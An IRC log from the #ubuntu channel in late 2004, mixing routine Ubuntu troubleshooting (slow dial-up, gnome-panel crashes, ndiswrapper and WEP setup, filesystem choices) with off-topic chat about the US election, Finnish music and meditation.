[08:52] <Nonphasis> so REJOICE ;-)
[08:52] <rapha> Show me the news message!
[08:52] <Cuga_> Kerry gave up
[08:52] <MyKq3> some here konws how the kde mathtype is called ?
[08:52] <Nonphasis> we all love Bush
[08:52] <shaver_> it's not clear that concessions have legal weight
[08:52] <Cuga_> www.cnn.com ?
[08:53] <rapha> Sure...
[08:53] <Nonphasis> (that's for you, ECHELON)
[08:53] <stvn> rapha: yeah, it's all over the news for the past 2 hours
[08:53] <rapha> shaver_: concessions? Is that what you call dead voters?
[08:53] <rapha> s/voters/votes.
[08:53] <shaver_> no, concession speeches
[08:53] <Cuga_> Kerry at 1pmEST made hes official address to US saying hes out, and in 10 mins Bush is making his victory speech
[08:53] <Nonphasis> rapha, that's what you call dead Islamists ;-)
[08:53] <shaver_> like the one Kerry just gave
[08:53] <rapha> No ECHELON, THIS is for you: we HATE Bush!
[08:54] <Nonphasis> rapha, prepare for friendly men with black sunglasses on your doorstep
[08:54] <rapha> Bah.
[08:54] <epod> Can someone direct me to the page with the instructions for configuring ndiswrapper? I've installed it...
[08:54] <rapha> Shame on Kerry then.
[08:54] <Mithrandir> rapha: please, #politics.
[08:54] <rapha> Nonphasis: well, I'm in Germany, remember? :)
[08:54] <rapha> Sorry Mithrandir
[08:54] <Nonphasis> rapha, and I'm in Finland. I suppose they can still "get" us via some WTO loophole ;-)
[08:55] <rapha> Oh Finland, cool. Alla Jalavapuun.
[08:55] <Nonphasis> Alla Jalavapuun? I suppose it's a song?
[08:55] <rapha> By CMX, yes.
[08:55] <Nonphasis> CMX rocks, especially live
[08:55] <rapha> The only Suomi phrase I can remember.
[08:56] <rapha> Well, I only got a couple of MP3s by them.
[08:56] <Nonphasis> what songs?
[08:56] <rapha> Suomi Musikii is cool in general.
[08:56] <Nonphasis> musiikki
[08:57] <Nonphasis> I don't listen to many bands that sing in finnish, CMX is one of them
[08:57] <rapha> Ismo Alanko, CMX, I think my favourite are Zen Caf or M. A. Numminen.
[08:58] <Nonphasis> ma Numminen :)
[08:58] <rapha> But the BEST band ever is Anylulu.
[08:58] <Nonphasis> unknown
[08:58] <rapha> That guy is so wierd, he kind of reminds me of myself :)
[08:59] <rapha> www.anylulu.com, although I believe their website has been a construction site for a couple of months.
[08:59] <Nonphasis> rapha, bands like z cafe and cmx are very lyrics-oriented, you are definitely missing something if you can't understand them
[08:59] <rapha> US girl married to a Finish guy plus a couple of their friends.
[08:59] <rapha> Nonphasis: definately. But the music for itself is cool, still.
[08:59] <Nonphasis> cmx == cloaca maxima == some stuff from HP Blavatsky books
[09:00] <rapha> (I wouldn't mind a couple of song translations though, yet I understand properly translating Finish lyrics is near to impossible)
[09:00] <rapha> Nonphasis: Blavatsky books? NO! HAHAH! I've been listening to CMX for years and going to Theosophy meetings for years without ever having known the connection!
[09:01] <Nonphasis> rapha, well, cmx is not technically a "theosophist" band but mysticism in general is heavily involved
[09:01] <rapha> Well, that's alright with me.
[09:02] <daniels> mdz: it is unspectacular.  i've never killed fd.o, and I've done that about 6 or 7 times.
[09:02] <rapha> (That's the nice thing about Theosophists -- they don't rule out anything)
[09:02] <daniels> mdz: but I'm pretty much totally unaffected, so *shrug*
[09:02] <iz> bonjour mirak
[09:02] <sparc64> hi. i just installed ubuntu, and it's very nice and stuff but my internet connection is really slow on it.
[09:03] <rapha> sparc64: What kind of connection do you have?
[09:03] <sparc64> rapha: dialup.
[09:03] <rapha> Interesting.
[09:03] <sparc64> rapha: but it's reeeaaally slow.
[09:03] <Nonphasis> rapha, I've read lots of Theosophy literature, though my interest mostly lies in Zen/oriental stuff. But that's what Theosophy is, in practice...
[09:03] <iz> Nonphasis, ohmmmmmmmmmmmmmmm
[09:03] <rapha> sparc64: But you're using this chat through your dial-up connection right now, don't you?
[09:03] <daniels> Mithrandir: *shrug*, had to try it to nstx working.
[09:03] <sparc64> rapha: like google takes about 30secs to load.
[09:04] <rapha> Hmm
[09:04] <Nonphasis> iz, ita's Auuuuhhmmm ;-)
[09:04] <iz> ai :)
[09:04] <sparc64> rapha: yes.
[09:04] <iz> sparc64, dns okay?
[09:04] <iz> dhcp?
[09:04] <rapha> sparc64: Try and see if it's the name server. A good one you could alternatively put into /etc/resolv.conf is "141.1.1.1"
[09:04] <rapha> (It's also the only one I know by heart ;-) )
[09:05] <sparc64> ok...
[09:05] <Pizbit> Could bve that ipv6 bug rearing it's ugly head
[09:05] <sparc64> Pizbit: hmm?
[09:05] <natea> i just installed Ubuntu on my Mac, and the install went very smoothly.
[09:05] <sparc64> rapha: actually, it can't be the name server -- if i use the same connection on win it works fine.
[09:05] <Pizbit> sparc64: Several people on the mailing list are complaining of slow resolve times until they disabled ipv6
[09:05] <rapha> Nonphasis: Well, I've been pretty badly opressed by some Christians a couple of years ago which kind of forced me to think about spirituality and all that. Fortunately led me in circles from Buddhism to what not, finally finding them Theosophists.
[09:06] <natea> however, i tried to add a couple entries to the /etc/fstab file to auto-mount my two Mac volumes (HFS+ fs) and now Linux is booting the HD in read-only
[09:06] <sparc64> rapha: (using server obtained by dhcp from the isp)
[09:06] <rapha> Nonphasis: What I _would_ like to try some time is definately Zen archery.
[09:06] <sparc64> Pizbit: ah, how do i do that?
[09:06] <Nonphasis> rapha, I suppose you are already doing meditation of some sort...?
[09:06] <rapha> sparc64: Well, it's not exactly DHCP, but yeah. Just try and see if a different name server helps.
[09:07] <natea> i'd remove the two lines from /etc/fstab but now the fs is read-only, so i can't edit the file. any suggestions?
[09:07] <sparc64> (apologies if my responses are slow here, the irc text is coming in chunks :/
[09:07] <Pizbit> sparc64: Few secs, getting the BR
[09:07] <rapha> Nonphasis: actually not very often. Only before "trials" of any kind, which I realise kind of jeopardizes the sense of meditations. But I *do* practice a martial art, "Tu Thn" about 2 two 5 times a week.
[09:07] <sparc64> Pizbit: thanks!
[09:08] <sparc64> rapha: hmm... isn't it dhcp from the ras server?
[09:08] <Nonphasis> rapha, trials?
[09:08] <natea> i can login (although not in graphical) but when I try to cat the /etc/fstab file, it says "input/output error"
[09:08] <Pizbit> sparc64: https://bugzilla.ubuntu.com/show_bug.cgi?id=2443 look at the last comment
[09:08] <rapha> sparc64: I was under the impression it didn't involve a DHCP server but was just part of the PPP stuff but I might be wrong.
[09:08] <sparc64> thankyou.
[09:08] <Pizbit> Er, second to last, #2
[09:08] <rapha> Nonphasis: Like, when you're going to school and you're at the end of your last year.... EXAMS"
[09:08] <rapha> s/"/!
[09:09] <Mithrandir> daniels: didn't work?
[09:09] <Pizbit> It might solve it, it might not, you don't use ipv6 anyway eh?
[09:09] <daniels> Mithrandir: nope, couldn't get other DNS out, and it just timed out with theirs
[09:09] <sparc64> Pizbit: hmm, could you msg me the text -- the host isn't resolving...
[09:09] <Nonphasis> rapha, wow. talk about abuse of meditation ;-)
[09:09] <epod> Can anyone direct me to the ubuntu page on how to configure ndiswrapper? (not the howto page on how to install it.  I got it installed :) )
[09:09] <natea> is there something I can type at the boot: prompt which will mount the fs in r/w mode?
[09:09] <sparc64> Pizbit: nah. can't deal with hex :)
[09:09] <mwh_> Hi, my gnome-panel whent beserk
[09:10] <Nonphasis> rapha, meditation is for me the "core" of the oriental spirituality. all the rest is derivative / byproduct of meditation
[09:10] <sparc64> Pizbit: ok, it's loading now... slooowly...
[09:10] <mwh_> how can I reset my gnome-panels?
[09:10] <mwh_> they keep respawning all the time
[09:10] <socomm> mwh_, killall -9 gnome-panel
[09:10] <rapha> Nonphasis: Well, sitting in a darkened room, just one candle lit, some smell you've never smelled before and some music you've never heard before around you, eyes closed and that for about an hour most probably doesn't even count as meditation but more as relaxation, I guess...
[09:10] <Pizbit> Hehe, yeah, it's slow, I pasted the full comment here http://www.pastebin.com/116562
[09:10] <mwh_> socomm: I did that but thats like restarting them
[09:10] <Nonphasis> rapha, also the Zen-ish "being", which is a manifestation of a sort of "meditation" in active/day-today life
[09:10] <mwh_> socomm: when they start they crash you see
[09:11] <mwh_> I want to have my panels removed and recreated or something like it
[09:11] <Nonphasis> rapha, for me, the meditation is most often a quick 10 min fix within a normal day
[09:11] <epod> I want my wifi to come up on boot up, can anyone direct me to instructions on how I can do so?
[09:11] <rapha> Nonphasis: then your definition of meditation seems to be something like "living your beliefs", which is what I do through martial arts.
[09:11] <socomm> mwh_, you'll have to do it multiple times. I do it by pressing killall -9 gnome-panel [enter]  [up]  [enter] 
[09:11] <sparc64> Pizbit: do i need to restart for that to take effect?
[09:12] <sparc64> Pizbit: or just dis/reconnect?
[09:12] <Pizbit> sparc64: Nah, just rmmod ipv6
[09:12] <Nonphasis> rapha, Martial arts supposedly "flow" like meditation, if you do got in the flow. dunno, never practiced any
[09:12] <rapha> Nonphasis: do you also do "meditative" things like some dumb work every now and then, just doing it and not thinking about anything?
[09:12] <socomm> mwh_, you mean have stock panel?
[09:12] <mwh_> socomm: I did
[09:12] <Nonphasis> rapha, I walk, does the same thing
[09:12] <natea> anyone here know how to resolve fstab probs?
[09:12] <mwh_> socomm: yea, cause im not sure why the gnome-panel is behaving like this
[09:12] <socomm> mwh_, try login out and then back in.
[09:12] <mwh_> socomm: so I need to delete some files or something
[09:12] <sparc64> ERROR: Module ipv6 is in use
[09:12] <mwh_> socomm: I tried restarting my machine did not help
[09:13] <socomm> mwh_, if you want a stock panel delete your panels config files.
[09:13] <mwh_> socomm: how
[09:13] <Pizbit> sparc64: Hrm, might need to bring down the network first then, reboot works too
[09:13] <mwh_> socomm: which files is that?
[09:13] <Cuga_> sparc64, modprobe -r ipv6 first before rmmod
[09:13] <sparc64> Pizbit: disconnect before running that i guesS?
[09:13] <mwh_> socomm: where are they?
[09:13] <socomm> mwh_, i think it's under .gnome or .gnome2
[09:13] <Nonphasis> rapha, but "walking in Zen" can be quite an explosion, I guess you get the same in M Arts
[09:13] <rapha> Nonphasis: it can very much flow indeed! The big thing is, you've really got to get rid of all your bad feelings, habits and what not in order to LET _it_ flow _trough_ you. And god forbid, nothing can ever be forced -- the harder you try, the less successful you'll be. And what's success anyway?
[09:13] <natea> i can't even sudo -s because it says "read-only file system"!
[09:13] <daniels> postdrop: warning: uid=1026: File too large
[09:13] <daniels> sendmail: fatal: daniels(1026): Message file too big
[09:13] <daniels> /usr/sbin/sendmail failed (exit status 17664)
[09:13] <daniels> sending xorg log files considered harmful
[09:14] <socomm> .gnome2/panel2.d
[09:14] <umarmung> mwh_, run 'gconftool-2 --recursive-unset /apps/panel' this will return to defaults
[09:14] <socomm> I believe that is it.
[09:14] <Nonphasis> rapha, yes, forcing success -> failure
[09:14] <Eno_> mozilla and mozilla-firefox says illegal instruction... won't start. any ideas?
[09:14] <mwh_> umarmung: good idea
[09:14] <Eno_> worked fine before
[09:14] <sparc64> ok brb.
[09:14] <rapha> (That isn't to say martial arts couldn't be practiced non-spiritually. A couple of friend of mine are definately doing it more as "martial sports" than as "martial arts", and they're making their third movie now)
[09:14] <Pizbit> Eno_: Are you on windows?:)
[09:14] <Eno_> hehe
[09:14] <Eno_> no
[09:14] <Pizbit> ...are you sure? *grin*
[09:14] <rapha> Nonphasis: how old are you if I may ask?
[09:14] <Eno_> i'm on ubuntu.. it worked fine this morning i think
[09:15] <Nonphasis> rapha, I suppose 90% of the martial arts practice is non-spiritual, at leat
[09:15] <Pizbit> No idea heh, dead profile maybe? back in a bit
[09:15] <Nonphasis> rapha, 27
[09:15] <mwh_> umarmung: didnt help :(
[09:15] <rapha> Nonphasis: Well, it totally depends on the person doing the exercises.
[09:15] <umarmung> mwh_, gnome-session-properties and set gnome-panel from restart to normal
[09:15] <Nonphasis> rapha, got into this "spiritual" bandwagon at 19 ;-)
[09:15] <mwh_> umarmung: it still crashes hard
[09:15] <umarmung> mwh_, and then kill it
[09:16] <rapha> Nonphasis: Mm, that's even a little later than me. This "christian opression" came when I was 16. But I guess there's a long way to be gone...
[09:17] <Nonphasis> rapha, what's the xian oppression, BTW? xians don't sound like people that directly oppress...
[09:17] <mwh_> umarmung: it still restarts when its killed
[09:17] <rapha> xians == christians?
[09:17] <Nonphasis> rapha, it's a voyage for life, the way it must be :)
[09:17] <umarmung> mwh_, do you have more than one gnome-panel in sessions?
[09:17] <daniels> guys, very, very offtopic.
[09:17] <daniels> please move it somewhere else.
[09:17] <Nonphasis> daniels, ok, sorry
[09:17] <Nonphasis> daniels, will stop now
[09:18] <mwh_> umarmung: oh I did not see
[09:18] <daniels> thanks
[09:18] <rapha> Nonphasis: well, s/oppression/evangelism I guess. Just a very rude and ... insisting way of trying to convert somebody to their religion/way of seeing life.
[09:18] <mwh_> umarmung: I have 6
[09:18] <umarmung> mwh_, :p
[09:18] <rapha> The fact I had something for one of their girls in the beginning didn't make it easier :)
[09:19] <Nonphasis> rapha, oh, yes, know the phenomenon. They can be pretty protective of their community, but I suppose it's the traditional cultist phenomenon
[09:20] <Nonphasis> but now I'll stop, per request :)
[09:20] <rapha> Unfortunate phenomenon.
[09:20] <mwh_> umarmung: I removed them all
[09:20] <mwh_> umarmung: then started the panel again
[09:20] <sparc64> rapha: dones't seen to have worked...
[09:20] <mwh_> umarmung: then I found 2 instances of them in the properties
[09:20] <rapha> Drives too many people to be totally ignorant of anything that lies beyond the obvious things :-(
[09:20] <mwh_> umarmung: removed one and set the other to normal
[09:20] <sparc64> rapha: xchat is showing 20sec lag :(
[09:20] <mwh_> umarmung: then I could kill it without having it to respawn
[09:20] <rapha> sparc64: Hey, my dad's a philosopher! :-)
[09:20] <rapha> Oh.
[09:20] <rapha> Not related.
[09:20] <mwh_> umarmung: now its just like how the heck do I make it work again
[09:21] <sparc64> heh
[09:21] <mwh_> umarmung: I get the error gnome-panel unexpectedly died ...
[09:21] <rapha> sparc64: Well, the name server change would only help for finding an IP in the first place.
[09:21] <sparc64> how can i tell the speed of my connection?
[09:21] <will_> whats your favorite 'Download Manager' in Ubuntu?
[09:21] <rapha> sparc64: Download something with wget
[09:21] <sparc64> rapha: nah, i meant the ipv6 thing.
[09:22] <rapha> sparc64: Hmm. Somebody else told you about that. No idea.
[09:22] <sparc64> rapha: can you give me a url for something to dl?
[09:22] <rapha> sparc64: File a bug at bugzilla.ubuntulinux.org
[09:22] <umarmung> mwh_, set all panels from restart->normal, pkill gnome-panel and then start one! gnome-panel from a terminal and look for additional info/error messages
[09:22] <rapha> sparc64: Out of the back of my head? Moment.
[09:22] <rapha> sparc64: ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-2.6.9.tar.bz2
[09:22] <sparc64> thanks.
[09:22] <rapha> np
[09:23] <rapha> (Linux also makes you a good memory :-) )
[09:23] <sparc64> yeah, resolving takes no time at all.
[09:23] <rapha> Wierd. Very wierd indeed.
[09:23] <sparc64> but after that, the paint drying world champs look appealing...
[09:23] <sparc64>  0% [                                     ]  4,344        676.74B/s ETA 14:53:11
[09:23] <rapha> Lol
[09:24] <rapha> Now wow, that's slow, even for kernel.org :-] 
[09:24] <karevoll> how can I make 'ls -lR' show the full path of the file on each line?
[09:24] <rapha> Give it some minutes then look at it again sparc64
[09:24] <sparc64> welcome the the Internet cira 1985 ;)
[09:25] <sparc64> rapha: ok, so i configed my inet connection using gst...
[09:25] <sparc64> rapha: ok.
[09:25] <rapha> sparc64: What's gst?
[09:25] <mwh_> umarmung: .xsession-errors gives me this (gnome-panel:5009): Gtk-WARNING **: Ignoring the separator setting
[09:25] <sparc64> gnome-system-tools
[09:25] <epod> my wlan0 isn't picking up an ipv4 IP... can anyone help me set it up, or direct to the page for configuring ndiswrapper..? I've got it installed, and I know I've seen the page, but I can't for the life of me find it again
[09:25] <Pizbit> Government Services Tax
[09:25] <rapha> Nonphasis: what do you do for a living?
[09:26] <Nonphasis> rapha, hack c++
[09:26] <Nonphasis> rapha, mobile phone stuff, more specifically
[09:26] <rapha> Nonphasis: cool. Nokia?
[09:26] <drakonim> epod, http://ndiswrapper.sourceforge.net/
[09:26] <sparc64> rapha: lemme try using wvdial... brb...
[09:26] <Nonphasis> rapha, almost. a subcontractor
[09:26] <rapha> sparc64: good luck
[09:26] <mwh_> umarmung: I just cleared that file and now it seems that no error is generated there .. the panel crashes horibly though
[09:26] <epod> drakonim, no, I have it installed.  I need to configure it, there is a wiki page on it, and I can't find it again.
[09:27] <drakonim> epod, ahh...  what kind of NIC is it?
[09:27] <Nonphasis> rapha, N phones, mostly. The new communicator and the PDA on slashdot frontpage has lots of my code :)
[09:27] <DAC1138> holy cow, more users here than in #suse
[09:27] <rapha> Nonphasis: Hmm. So you wouldn't be in a position to modify Nokia cellphones calendars to let you enter an event that is scheduled for a set of specified days every week, like "Mo-Fr, But not Sa/Su"?
[09:27] <drakonim> DAC1138, isnt it beutiful? ::sniff::
[09:28] <rapha> Nonphasis: PDA? Like, PDA with phone included?
[09:28] <DAC1138> drakonim, i'd like to try ubuntu, but suse is working fine.
[09:28] <Aard> there's #suse out there? is it an alternate channel to #bdsm?
[09:28] <Mithrandir> eller m jeg bygge en?
[09:28] <Mithrandir> #echan
[09:28] <Nonphasis> rapha, http://slashdot.org/article.pl?sid=04/11/03/1257220&tid=215&tid=137&tid=100&tid=1
[09:28] <epod> drakonim, broadcom 802.11g, I have wlan0, it comes up and all, but I can't make it get an ip from my DHCP server
[09:28] <drakonim> DAC1138, big fan of the if it aint broke, dont fix it.
[09:28] <DAC1138> man, i wish i wouldve found ubuntu easlier
[09:28] <j^> DAC1138 use the livecd
[09:28] <will_> when i started coming in here, there was about 150 ppl on average!
[09:28] <drakonim> epod, what is your ssid?
[09:28] <will_> jesus!
[09:29] <epod> drakonim, essid? 'cservice'
[09:29] <DAC1138> drakonim, yeah. especially since i use a commercial X server that give me hell to install on debian systems (it doesnt work on any debian distro ive tried)
[09:29] <enabl> anyone know when 2.6.9 kernel will make it into the hoary repsitories
[09:29] <Nonphasis> rapha, I might be, I'll make a note - at least I occasionally sit at tables where such suggestions might be heard
[09:29] <mwh_> argh
[09:29] <drakonim> epod, yeah.. missed a key sorry... and does it show that in iwconfig?
[09:29] <mwh_> why does gnome-panel behave like this sigh
[09:29] <natea> which file system is best? ext3, reiserfs, ufs ?
[09:29] <drakonim> DAC1138, eew
[09:29] <umarmung> mwh_, can't think of anything else. You might wanna move ~/.gnome* and ~/.gconf out of the way and try again, BUT this will remove all of your customization.
[09:30] <DAC1138> drakonim, does ubuntu support installing RPMs? and, is the placement of the X server and all its libraries and stuff the same as in redhat distros like suse and mandrake?
[09:30] <epod> drakonim, no, I seem to have connected to the restaurant across the street's unsecured ap
[09:30] <natea> epod, have you got a driver for the Broadcom wi-fi card?
[09:30] <drakonim> epod, thats your problem then
[09:30] <|Gaaruto|> hello
[09:30] <rapha> Nonphasis: it would be pretty useful: many people often have periodic apointments, but only at work. So if their mobile goes off at home, during the weekend that's very inconvenient so they won't use the mobile as an organizer at all.
[09:30] <DAC1138> drakonim, yeah. mepis was awsome also, i used it for about a week in 800x600 because of the xserver i couldnt install
[09:30] <Cuga_> natea, reiserfs is the best from that bunch, but i personally use XFS, stay away from ext3
[09:30] <rapha> (myself included, naturally ;) )
[09:30] <mwh_> umarmung: ill try creating another user and then see what happens
[09:30] <drakonim> epod, iwconfig essid cservice, then dhclient wlan0
[09:31] <natea> cuga_, why stay away from ext3?
[09:31] <drakonim> DAC1138, what kind of horked up video chipset you have?
[09:31] <epod> drakonim, ok one sec
[09:31] <mjr> DAC1138, you don't really want to install proprietary driver rpms, though I've heard that people have had some success with that ;)
[09:31] <drakonim> DAC1138, and no... they are different
[09:31] <Cuga_> natea, cause its slow and basically just ext2 with a journaling hack on it
[09:31] <drakonim> DAC1138, although the answer to the rpm question is alien... but that wont really help you in this case.
[09:31] <DAC1138> mjr, the drivers i can build from source, but the server itself needs to be installed via rpm
[09:31] <natea> so would you recommend reiser if i'm installing a new system from scratch.
[09:31] <Nonphasis> rapha, ok. If I ever got an opportunity to plug that idea, I'll credit "rapha on #ubuntu" ;-)
[09:31] <housetier> natea, it only depends on what you need, I like ext3
[09:32] <natea> what are the advantages of XFS?
[09:32] <DAC1138> drakonim, its a long story. ive tried for a year (literally) to get it to work
[09:32] <housetier> natea, THATS the right question
[09:32] <drakonim> natea, being able to brag to other geeks
[09:32] <rapha> Nonphasis: cool :-)
[09:32] <rapha> Nonphasis: schwarzschmid.de ;-)
[09:32] <|Gaaruto|> is there kernel-source for 2.6.8.1 kernel on ubuntu ?
[09:32] <Nonphasis> natea, reiser is supposedly more stable on linux than xfs
[09:32] <epod> drakonim, I need to input the key for the wireless network
[09:32] <housetier> natea, there is a site somehere on the 'net comparing the various filesystems
[09:32] <drakonim> epod, wep enabled?
[09:32] <epod> drakonim, yes
[09:32] <drakonim> epod, not wpa... wep.
[09:32] <Cuga_> natea, you'll have to read up, each fs has their own ups and downs, but overall their are 3 standouts.. XFS, Reiser, JFS (from what i've read aswell)
[09:32] <epod> drakonim, wep, yes
[09:33] <Nonphasis> rapha, ok. Stand by and wait for the royalty cheques ;-)
[09:33] <drakonim> epod, k havent done this with ubuntu yet.. check out the examples in 'man iwconfig'
[09:33] <epod> ok
[09:33] <epod> drakonim, ok, thanks. :)
[09:33] <rapha> Lol
[09:34] <natea> cuga_, Nonphasis, are there any compatibility issues if i go with ReiserFS?
[09:34] <drakonim> epod, looks like you will need the hex value of your wep string
[09:34] <drakonim> *key
[09:34] <rapha> Nonphasis: wasn't even my idea in the first place. Not sure where I've seen it though. Either Evolution or Outlook probably.
[09:34] <natea> i'm thinking for use with backup programs, or mounting the volumes from other OSes (such as OS X)
[09:34] <Nonphasis> rapha, incidentally, my page: http://www.students.tut.fi/~vainio24/
[09:35] <Nonphasis> rapha, ignore the "students", I'm at school te get cheap food & net account ;-)
[09:35] <Cuga_> natea, I'm not aware of any, i've been using XFS for 3 years and never came across something it couldn't do, but i know the same from people who run reiser, they are both solid
[09:35] <DAC1138> is ubuntu fast by default? no kernel tuning required?
[09:35] <rapha> As a matter of fact, I was just going to ask about it :)
[09:35] <DAC1138> i mean, compared to mandrake 10 and suse 9.1
[09:35] <Nonphasis> rapha, I know, it always irks poeple :)
[09:36] <natea> cuga, ok i think i'll go with ReiserFS for my / partition.
[09:36] <sparc64_> rapha: ok, using wvdial works.
[09:36] <sparc64_> rapha: most odd.
[09:36] <sparc64_> rapha: i'm gonna try investigate and file a bug.
[09:36] <drakonim> DAC1138, its quick enough for me minus alot of tuning... just get the appropriate kernel and hdparm some goodness into your disks
[09:36] <sparc64_> rapha: thanks fr the help.
[09:36] <rapha> OOOOH! PHOTOS!
[09:36] <rapha> sparc64_: Well, you've helped yourself :)
[09:36] <epod> wlan0     Link encap:Ethernet  HWaddr 00:90:4B:65:3A:2D
[09:36] <epod>           inet addr:192.168.1.100  Bcast:192.168.1.255
[09:36] <epod> whee
[09:37] <Nonphasis> rapha, just one, but did an empy script for "them" anyway
[09:37] <DAC1138> drakonim, i always user hdparm. man, i better quit looking at ubuntu, i might end up wiping my disk
[09:37] <natea> has anyone here experienced freeze-ups using the latest warty installer on PPC machines (I have a G4 17" powerbook)
[09:37] <rapha> Well, one photo. But that hat does suit you, Nonphasis
[09:37] <Nonphasis> rapha, not too much space on the account
[09:37] <drakonim> DAC1138, lol you say that like its such a bad thing
[09:37] <rapha> Nonphasis: I can only recommend Gallery (gallery.sf.net)
[09:37] <rapha> Oh
[09:37] <DAC1138> drakonim, does it have good hotplug support? like if i plug in my wifi card, will it configure it automatically? and same with my usb pen drive?
[09:37] <rapha> Hmm
[09:37] <rapha> Too bad
[09:38] <drakonim> DAC1138, just really curious... what evil video chipset you have?
[09:38] <RuffianSoldier> KDE Works fine in Ubuntu!
[09:38] <DAC1138> drakonim, well, this is the first time ive actually had linux working, and i was just about to erase my windows partition and just go 100% linux, all with suse 9.1
[09:38] <natea> i'm wondering if the freeze-ups have anything to do with USB or Firewire devices that I have connected.
[09:38] <Nonphasis> rapha, hahah, I put the most ridiculous photo I could find there. excessive narcissism can be one's downfall :)
[09:38] <drakonim> DAC1138, usb hotplug yes / confirmed... wifi depends on chipset, but yes its been excellent so far
[09:38] <DAC1138> drakonim, its an intel i810 855GM (82852) (mobile chipset)
[09:38] <rapha> Nonphasis: http://www.all-inkl.com give you some 500MB webspace for 1 or 5 ? per month, depending on what technology (PHP, ...) you want. Not sure if they'll also work for non-Germans though.
[09:38] <drakonim> DAC1138, funy... i use an i845 and it works GREAT.
[09:39] <DAC1138> drakonim, well, the wifi card is an atmel chipset, and its been supported since kernel 2.4.22
[09:39] <drakonim> DAC1138, yeah, that'd be fine.
[09:39] <DAC1138> drakonim, yeah, like i said, its a long long story. its a gateway laptop
[09:39] <rapha> Nonphasis: you should've put a flower into the hat's orange ... thing.
[09:39] <Nonphasis> rapha, lol
[09:39] <DAC1138> drakonim, hmmm........i need lots of backup space
[09:39] <natea> are there any known issues with USB devices freezing up the system?
[09:39] <drakonim> DAC1138, K i wont bug anymore aboot it.  your headed in the right direction making that windows partition disappear.. dont much care what distro you land with 8-)
[09:40] <rapha> "Object oriented programming (It's beautiful when you eventually "get it")." Hah! Hah! Hah! To. The. Point.
[09:40] <natea> i saw on the bugzilla that someone was having probs with his Zip drive. i also have a USB Zip drive which I unplugged, and still got the freeze-ups.
[09:40] <rapha> (I haven't...)
[09:40] <drakonim> natea, is there anything in /var/log/messages about the freeze?
[09:40] <DAC1138> drakonim, yeah. i only need windows for adobe premiere and adobe after effects, but im playing around with cinellera for linux. until i get used to it, im running windows in vmware just for video editing only
[09:41] <natea> actually, the Zip drive was connected via Firewire, not USB
[09:41] <DAC1138> drakonim, yeah, i posted on a linuxquestions.org forum about the chipset problem, it ended up being like a 20 page thread with no solution
[09:41] <natea> well, i'm reinstalling the OS right now, so I won't be able to post any msgs until I experience the freeze-up again.
[09:41] <drakonim> DAC1138, video editing in a virtual machine huh? youve either got one kick ass workstation, or alot of patients!
[09:41] <Nonphasis> rapha, OOP rocks. check out Python if you haven't yet
[09:41] <DAC1138> drakonim, a LOT of patience, lol
[09:42] <rapha> Nonphasis: And VIM is superior to Emacs!
[09:42] <Nonphasis> rapha, OOP in C++ rocks less, by far
[09:42] <natea> drakonim, what kind of messages should i be looking for?
[09:42] <Nonphasis> rapha, hah! Infidel
[09:42] <DAC1138> drakonim, im rendering this 400 fram animation. so far, ive let it run all day and all night for 2 weeks now and its only at fram 273 out of 400, talk about patience
[09:42] <rapha> Nonphasis: well, I do like Mono. Python doesn't sit with me, somehow. Missing all them braces.
[09:43] <drakonim> natea, anything about a hotplug error or somesuch just before the machine froze
[09:43] <DAC1138> why isnt there a USA mirror to download ubuntu?
[09:43] <drakonim> natea, also, on a fresh boot run 'dmesg' and look for errors
[09:43] <Nonphasis> rapha, try it for a day or two. Grokking the beauty of dynamic typing can be a really valuable experience
[09:43] <rapha> Nonphasis: But given that Ubuntu is going to focus on Python for all their custom developments, I guess I'll have to dive in. IN VIM ;-)
[09:43] <natea> drakonim, okay i guess i can grep for that in /var/log/messages ?
[09:43] <drakonim> DAC1138, becuase we have retarded exportation limitations
[09:43] <rapha> "Dynamic" typing? Eh?
[09:43] <rapha> Nonphasis: what do they mean by that?
[09:44] <drakonim> natea, yeah
[09:44] <natea> drakonim, i'll also do a "dmesg" after boot to see if there are any hints.
[09:44] <Nonphasis> rapha, a = getobject(); a.doStuff()
[09:44] <bash> I am bash
[09:44] <drakonim> hi bash
[09:44] <drakonim> i am not bash
[09:44] <Nonphasis> "I'm a Field Op"
[09:44] <rapha> Nonphasis: A matter of preference, is it not?
[09:44] <drakonim> DAC1138, thats a splatload of patience!
[09:45] <natea> another this that I noticed when booting up Ubuntu, is that there was a long delay on the "Starting hotplug subsystem" step.. is this normal?
[09:45] <DAC1138> drakonim, yeah, and im only using a laptop, 2.1 ghz, 768 mb ram
[09:45] <Nonphasis> rapha, no, it's a fundamental matter... think Smalltalk, Lisp, Python, Ruby vs. C++, Java, C#
[09:45] <drakonim> natea, a small delay is acceptable... its assigning unique IDS to the usb/fw devices at that point i think....
[09:46] <drakonim> natea, or at the very least probing the whole bus
[09:46] <Nonphasis> rapha, it took a while to "click" on me, having got used to static typing
[09:46] <natea> drakonim, so if I have a lot of USB/Firewire devices, that might explain why it's taking so long?
[09:46] <drakonim> natea, and if you have alot of devices out there... or slow ones, yes it will hang there for a little bit
[09:46] <Nonphasis> Life is dynamically typed :)
[09:46] <drakonim> natea, :-)
[09:46] <rapha> Hmm. "Underlying [...]  electromagnetic vibration". Do you really think it's electromagnetic, that "stuff". What about gravity and all that may unfold should we ever solve the mysteries about gravity?
[09:47] <DAC1138> drakonim, maybe ill just dual boot linux/linux, suse 9.1 and ubuntu
[09:47] <natea> I have these USB devices: webcam, MIDI sound module, keyboard, mouse, Handspring cradle, Canon camera
[09:47] <drakonim> DAC1138, thats not "only" a laptop... its a pretty quick one... what sucks for virtual machining is your (probably)  5400rpm disk!
[09:47] <natea> and a Firewire Zip drive and External Lacie HD.
[09:47] <drakonim> DAC1138, there ya go.. and have a nice little partition to cross mount to share stuff :)
[09:47] <DAC1138> drakonim, no, its only 4800RPM
[09:47] <DAC1138> drakonim, yeah, and if all goes well, i can just wipe suse 9.1
[09:48] <drakonim> DAC1138, /me shudders thinking about vmware @ 4800rpm
[09:48] <DAC1138> lol. its actually pretty fast
[09:48] <Nonphasis> rapha, I was mostly concentrating on "raw matter", but I'm not sure whether gravity will be able to be non-electromagnetic
[09:48] <DAC1138> only thing is bootup and shutdowns are slow. using the virtual machine is pretty fast and responsive
[09:48] <DAC1138> drakonim, ive never dual booted linux distros before, so i dont know what im in for
[09:49] <drakonim> DAC1138, my vmware gets its own hdd (i need windows for a firewall client grrrrr) and its like having a kvm :-) that luxury is a bit easier on a full blown PC though..
[09:49] <natea> drakonim, i'm removing all but the kb/mouse to see if that makes a diff.
[09:49] <kman> yo all
